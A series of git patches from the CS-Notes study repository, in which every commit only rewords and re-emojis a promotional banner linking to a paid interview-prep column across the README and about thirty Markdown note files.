diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index f42524b7..71cb39f2 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、负载均衡](#一负载均衡)
     * [负载均衡算法](#负载均衡算法)
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index ba7fe359..02510003 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、三大特性](#一三大特性)
     * [封装](#封装)

From 56ad1451c84d8e085f0d9d37bb910e14df70f1ec Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 23:34:14 +0800
Subject: [PATCH 049/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 5e5c77a5..c20837c5 100644
--- a/README.md
+++ b/README.md
@@ -19,7 +19,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    <a href="https://xiaozhuanlan.com/CyC2018"> 🎉 面试进阶专栏已上线 🎉</a> 
+    <a href="https://xiaozhuanlan.com/CyC2018"> 🍉 面试进阶专栏 🍉</a> 
 </div> 
 
 <br/>

From 909b959fa9395ac597b2e0da554c1073b631a278 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 23:35:14 +0800
Subject: [PATCH 050/100] Update README.md

---
 docs/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/README.md b/docs/README.md
index c8e161bd..25a9c384 100644
--- a/docs/README.md
+++ b/docs/README.md
@@ -1,5 +1,5 @@
 
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 
 ##  ✏️ 算法
 

From 2de94a02bfe2fc6e7c76f22c859fe0cb5f912121 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 23:37:09 +0800
Subject: [PATCH 051/100] Update README.md

---
 docs/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/README.md b/docs/README.md
index 25a9c384..bd748034 100644
--- a/docs/README.md
+++ b/docs/README.md
@@ -1,5 +1,5 @@
 
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+> [面试进阶专栏](https://xiaozhuanlan.com/CyC2018)
 
 ##  ✏️ 算法
 

From 70b12884a7d05db840f8142ba50dd3d8205776ae Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 23:39:43 +0800
Subject: [PATCH 052/100] auto commit

---
 docs/notes/Docker.md                 | 2 +-
 docs/notes/Git.md                    | 2 +-
 docs/notes/HTTP.md                   | 2 +-
 docs/notes/Java IO.md                | 2 +-
 docs/notes/Java 基础.md              | 2 +-
 docs/notes/Java 容器.md              | 2 +-
 docs/notes/Java 并发.md              | 2 +-
 docs/notes/Java 虚拟机.md            | 2 +-
 docs/notes/Leetcode 题解.md          | 2 +-
 docs/notes/Leetcode-Database 题解.md | 2 +-
 docs/notes/Linux.md                  | 2 +-
 docs/notes/MySQL.md                  | 2 +-
 docs/notes/Redis.md                  | 2 +-
 docs/notes/SQL.md                    | 2 +-
 docs/notes/Socket.md                 | 2 +-
 docs/notes/代码可读性.md             | 2 +-
 docs/notes/代码风格规范.md           | 2 +-
 docs/notes/分布式.md                 | 2 +-
 docs/notes/剑指 offer 题解.md        | 2 +-
 docs/notes/攻击技术.md               | 2 +-
 docs/notes/数据库系统原理.md         | 2 +-
 docs/notes/构建工具.md               | 2 +-
 docs/notes/正则表达式.md             | 2 +-
 docs/notes/消息队列.md               | 2 +-
 docs/notes/算法.md                   | 2 +-
 docs/notes/系统设计基础.md           | 2 +-
 docs/notes/缓存.md                   | 2 +-
 docs/notes/计算机操作系统.md         | 2 +-
 docs/notes/计算机网络.md             | 2 +-
 docs/notes/设计模式.md               | 2 +-
 docs/notes/集群.md                   | 2 +-
 docs/notes/面向对象思想.md           | 2 +-
 32 files changed, 32 insertions(+), 32 deletions(-)

diff --git a/docs/notes/Docker.md b/docs/notes/Docker.md
index bc7a5935..5f5f3c59 100644
--- a/docs/notes/Docker.md
+++ b/docs/notes/Docker.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、解决的问题](#一解决的问题)
 * [二、与虚拟机的比较](#二与虚拟机的比较)
diff --git a/docs/notes/Git.md b/docs/notes/Git.md
index eaf9403a..55c2f4fb 100644
--- a/docs/notes/Git.md
+++ b/docs/notes/Git.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [集中式与分布式](#集中式与分布式)
 * [中心服务器](#中心服务器)
diff --git a/docs/notes/HTTP.md b/docs/notes/HTTP.md
index c9324d89..68040d83 100644
--- a/docs/notes/HTTP.md
+++ b/docs/notes/HTTP.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一 、基础概念](#一-基础概念)
     * [URI](#uri)
diff --git a/docs/notes/Java IO.md b/docs/notes/Java IO.md
index 81beb195..786d2144 100644
--- a/docs/notes/Java IO.md	
+++ b/docs/notes/Java IO.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
 * [二、磁盘操作](#二磁盘操作)
diff --git a/docs/notes/Java 基础.md b/docs/notes/Java 基础.md
index 3eb38d0f..cd03685d 100644
--- a/docs/notes/Java 基础.md	
+++ b/docs/notes/Java 基础.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、数据类型](#一数据类型)
     * [包装类型](#包装类型)
diff --git a/docs/notes/Java 容器.md b/docs/notes/Java 容器.md
index c492d633..3d3ed9a9 100644
--- a/docs/notes/Java 容器.md	
+++ b/docs/notes/Java 容器.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
     * [Collection](#collection)
diff --git a/docs/notes/Java 并发.md b/docs/notes/Java 并发.md
index 9271cbf2..141e75d8 100644
--- a/docs/notes/Java 并发.md	
+++ b/docs/notes/Java 并发.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、线程状态转换](#一线程状态转换)
     * [新建（New）](#新建new)
diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index e8c81e98..f24d7c28 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、运行时数据区域](#一运行时数据区域)
     * [程序计数器](#程序计数器)
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index b8268ead..2dc44b02 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [算法思想](#算法思想)
     * [双指针](#双指针)
diff --git a/docs/notes/Leetcode-Database 题解.md b/docs/notes/Leetcode-Database 题解.md
index 0e2d7b03..ed0fb292 100644
--- a/docs/notes/Leetcode-Database 题解.md	
+++ b/docs/notes/Leetcode-Database 题解.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [595. Big Countries](#595-big-countries)
 * [627. Swap Salary](#627-swap-salary)
diff --git a/docs/notes/Linux.md b/docs/notes/Linux.md
index e4ba6228..d8f7affc 100644
--- a/docs/notes/Linux.md
+++ b/docs/notes/Linux.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、常用操作以及概念](#一常用操作以及概念)
     * [快捷键](#快捷键)
diff --git a/docs/notes/MySQL.md b/docs/notes/MySQL.md
index da78f031..cc7bda67 100644
--- a/docs/notes/MySQL.md
+++ b/docs/notes/MySQL.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、索引](#一索引)
     * [B+ Tree 原理](#b-tree-原理)
diff --git a/docs/notes/Redis.md b/docs/notes/Redis.md
index 392dc83b..fed7e7d5 100644
--- a/docs/notes/Redis.md
+++ b/docs/notes/Redis.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、数据类型](#二数据类型)
diff --git a/docs/notes/SQL.md b/docs/notes/SQL.md
index 3a313cf8..3939d3ce 100644
--- a/docs/notes/SQL.md
+++ b/docs/notes/SQL.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、基础](#一基础)
 * [二、创建表](#二创建表)
diff --git a/docs/notes/Socket.md b/docs/notes/Socket.md
index 513a2d82..98322f29 100644
--- a/docs/notes/Socket.md
+++ b/docs/notes/Socket.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、I/O 模型](#一io-模型)
     * [阻塞式 I/O](#阻塞式-io)
diff --git a/docs/notes/代码可读性.md b/docs/notes/代码可读性.md
index 6cde2377..7175f5da 100644
--- a/docs/notes/代码可读性.md
+++ b/docs/notes/代码可读性.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、可读性的重要性](#一可读性的重要性)
 * [二、用名字表达代码含义](#二用名字表达代码含义)
diff --git a/docs/notes/代码风格规范.md b/docs/notes/代码风格规范.md
index 330fd72d..9b8d06b9 100644
--- a/docs/notes/代码风格规范.md
+++ b/docs/notes/代码风格规范.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 <!-- GFM-TOC -->
 
diff --git a/docs/notes/分布式.md b/docs/notes/分布式.md
index fd8f9f16..be3d0c3e 100644
--- a/docs/notes/分布式.md
+++ b/docs/notes/分布式.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、分布式锁](#一分布式锁)
     * [数据库的唯一索引](#数据库的唯一索引)
diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index c138539b..006b4f00 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [3. 数组中重复的数字](#3-数组中重复的数字)
 * [4. 二维数组中的查找](#4-二维数组中的查找)
diff --git a/docs/notes/攻击技术.md b/docs/notes/攻击技术.md
index e68cf2ca..fa0981a0 100644
--- a/docs/notes/攻击技术.md
+++ b/docs/notes/攻击技术.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、跨站脚本攻击](#一跨站脚本攻击)
 * [二、跨站请求伪造](#二跨站请求伪造)
diff --git a/docs/notes/数据库系统原理.md b/docs/notes/数据库系统原理.md
index 675ae4d9..6b1d20e3 100644
--- a/docs/notes/数据库系统原理.md
+++ b/docs/notes/数据库系统原理.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、事务](#一事务)
     * [概念](#概念)
diff --git a/docs/notes/构建工具.md b/docs/notes/构建工具.md
index c231c93a..d3dfc593 100644
--- a/docs/notes/构建工具.md
+++ b/docs/notes/构建工具.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、构建工具的作用](#一构建工具的作用)
 * [二、Java 主流构建工具](#二java-主流构建工具)
diff --git a/docs/notes/正则表达式.md b/docs/notes/正则表达式.md
index a329f27b..c7b876f4 100644
--- a/docs/notes/正则表达式.md
+++ b/docs/notes/正则表达式.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、匹配单个字符](#二匹配单个字符)
diff --git a/docs/notes/消息队列.md b/docs/notes/消息队列.md
index 8aa4e49f..701bf10f 100644
--- a/docs/notes/消息队列.md
+++ b/docs/notes/消息队列.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、消息模型](#一消息模型)
     * [点对点](#点对点)
diff --git a/docs/notes/算法.md b/docs/notes/算法.md
index fa75d2fb..debe386b 100644
--- a/docs/notes/算法.md
+++ b/docs/notes/算法.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、前言](#一前言)
 * [二、算法分析](#二算法分析)
diff --git a/docs/notes/系统设计基础.md b/docs/notes/系统设计基础.md
index ce9b8665..96d3ba88 100644
--- a/docs/notes/系统设计基础.md
+++ b/docs/notes/系统设计基础.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、性能](#一性能)
 * [二、伸缩性](#二伸缩性)
diff --git a/docs/notes/缓存.md b/docs/notes/缓存.md
index 0a3b6453..ceafb089 100644
--- a/docs/notes/缓存.md
+++ b/docs/notes/缓存.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、缓存特征](#一缓存特征)
 * [二、LRU](#二lru)
diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index 20781d7f..00c8fef6 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [基本特征](#基本特征)
diff --git a/docs/notes/计算机网络.md b/docs/notes/计算机网络.md
index 8ed71dfc..1a1d2201 100644
--- a/docs/notes/计算机网络.md
+++ b/docs/notes/计算机网络.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [网络的网络](#网络的网络)
diff --git a/docs/notes/设计模式.md b/docs/notes/设计模式.md
index c4aae348..9b2c23c3 100644
--- a/docs/notes/设计模式.md
+++ b/docs/notes/设计模式.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、创建型](#二创建型)
diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index 71cb39f2..615761bc 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、负载均衡](#一负载均衡)
     * [负载均衡算法](#负载均衡算法)
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index 02510003..d79ae7f1 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、三大特性](#一三大特性)
     * [封装](#封装)

From 29e53ef51e86d0759c06f6927d1db52a3c3d5fec Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 23:42:12 +0800
Subject: [PATCH 053/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index c20837c5..e40c2e9a 100644
--- a/README.md
+++ b/README.md
@@ -19,7 +19,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    <a href="https://xiaozhuanlan.com/CyC2018"> 🍉 面试进阶专栏 🍉</a> 
+    <a href="https://xiaozhuanlan.com/CyC2018"> ⭐️ 面试进阶专栏 ⭐️</a> 
 </div> 
 
 <br/>

From c04d1eee45d95e58f67126028550c61eecff5af2 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 23:44:30 +0800
Subject: [PATCH 054/100] auto commit

---
 docs/notes/Docker.md                 | 2 +-
 docs/notes/Git.md                    | 2 +-
 docs/notes/HTTP.md                   | 2 +-
 docs/notes/Java IO.md                | 2 +-
 docs/notes/Java 基础.md              | 2 +-
 docs/notes/Java 容器.md              | 2 +-
 docs/notes/Java 并发.md              | 2 +-
 docs/notes/Java 虚拟机.md            | 2 +-
 docs/notes/Leetcode 题解.md          | 2 +-
 docs/notes/Leetcode-Database 题解.md | 2 +-
 docs/notes/Linux.md                  | 2 +-
 docs/notes/MySQL.md                  | 2 +-
 docs/notes/Redis.md                  | 2 +-
 docs/notes/SQL.md                    | 2 +-
 docs/notes/Socket.md                 | 2 +-
 docs/notes/代码可读性.md             | 2 +-
 docs/notes/代码风格规范.md           | 2 +-
 docs/notes/分布式.md                 | 2 +-
 docs/notes/剑指 offer 题解.md        | 2 +-
 docs/notes/攻击技术.md               | 2 +-
 docs/notes/数据库系统原理.md         | 2 +-
 docs/notes/构建工具.md               | 2 +-
 docs/notes/正则表达式.md             | 2 +-
 docs/notes/消息队列.md               | 2 +-
 docs/notes/算法.md                   | 2 +-
 docs/notes/系统设计基础.md           | 2 +-
 docs/notes/缓存.md                   | 2 +-
 docs/notes/计算机操作系统.md         | 2 +-
 docs/notes/计算机网络.md             | 2 +-
 docs/notes/设计模式.md               | 2 +-
 docs/notes/集群.md                   | 2 +-
 docs/notes/面向对象思想.md           | 2 +-
 32 files changed, 32 insertions(+), 32 deletions(-)

diff --git a/docs/notes/Docker.md b/docs/notes/Docker.md
index 5f5f3c59..1a4cafc7 100644
--- a/docs/notes/Docker.md
+++ b/docs/notes/Docker.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、解决的问题](#一解决的问题)
 * [二、与虚拟机的比较](#二与虚拟机的比较)
diff --git a/docs/notes/Git.md b/docs/notes/Git.md
index 55c2f4fb..7b8e37bc 100644
--- a/docs/notes/Git.md
+++ b/docs/notes/Git.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [集中式与分布式](#集中式与分布式)
 * [中心服务器](#中心服务器)
diff --git a/docs/notes/HTTP.md b/docs/notes/HTTP.md
index 68040d83..2baed930 100644
--- a/docs/notes/HTTP.md
+++ b/docs/notes/HTTP.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一 、基础概念](#一-基础概念)
     * [URI](#uri)
diff --git a/docs/notes/Java IO.md b/docs/notes/Java IO.md
index 786d2144..0a57df0b 100644
--- a/docs/notes/Java IO.md	
+++ b/docs/notes/Java IO.md	
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
 * [二、磁盘操作](#二磁盘操作)
diff --git a/docs/notes/Java 基础.md b/docs/notes/Java 基础.md
index cd03685d..3068450c 100644
--- a/docs/notes/Java 基础.md	
+++ b/docs/notes/Java 基础.md	
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、数据类型](#一数据类型)
     * [包装类型](#包装类型)
diff --git a/docs/notes/Java 容器.md b/docs/notes/Java 容器.md
index 3d3ed9a9..10348d9f 100644
--- a/docs/notes/Java 容器.md	
+++ b/docs/notes/Java 容器.md	
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
     * [Collection](#collection)
diff --git a/docs/notes/Java 并发.md b/docs/notes/Java 并发.md
index 141e75d8..e1c1a2df 100644
--- a/docs/notes/Java 并发.md	
+++ b/docs/notes/Java 并发.md	
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、线程状态转换](#一线程状态转换)
     * [新建（New）](#新建new)
diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index f24d7c28..b80e366d 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、运行时数据区域](#一运行时数据区域)
     * [程序计数器](#程序计数器)
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 2dc44b02..031af745 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [算法思想](#算法思想)
     * [双指针](#双指针)
diff --git a/docs/notes/Leetcode-Database 题解.md b/docs/notes/Leetcode-Database 题解.md
index ed0fb292..26a7b4ab 100644
--- a/docs/notes/Leetcode-Database 题解.md	
+++ b/docs/notes/Leetcode-Database 题解.md	
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [595. Big Countries](#595-big-countries)
 * [627. Swap Salary](#627-swap-salary)
diff --git a/docs/notes/Linux.md b/docs/notes/Linux.md
index d8f7affc..7aef95a3 100644
--- a/docs/notes/Linux.md
+++ b/docs/notes/Linux.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、常用操作以及概念](#一常用操作以及概念)
     * [快捷键](#快捷键)
diff --git a/docs/notes/MySQL.md b/docs/notes/MySQL.md
index cc7bda67..ef6fe3a8 100644
--- a/docs/notes/MySQL.md
+++ b/docs/notes/MySQL.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、索引](#一索引)
     * [B+ Tree 原理](#b-tree-原理)
diff --git a/docs/notes/Redis.md b/docs/notes/Redis.md
index fed7e7d5..03865d27 100644
--- a/docs/notes/Redis.md
+++ b/docs/notes/Redis.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、数据类型](#二数据类型)
diff --git a/docs/notes/SQL.md b/docs/notes/SQL.md
index 3939d3ce..91fe826a 100644
--- a/docs/notes/SQL.md
+++ b/docs/notes/SQL.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、基础](#一基础)
 * [二、创建表](#二创建表)
diff --git a/docs/notes/Socket.md b/docs/notes/Socket.md
index 98322f29..c8fd40ab 100644
--- a/docs/notes/Socket.md
+++ b/docs/notes/Socket.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、I/O 模型](#一io-模型)
     * [阻塞式 I/O](#阻塞式-io)
diff --git a/docs/notes/代码可读性.md b/docs/notes/代码可读性.md
index 7175f5da..549ac325 100644
--- a/docs/notes/代码可读性.md
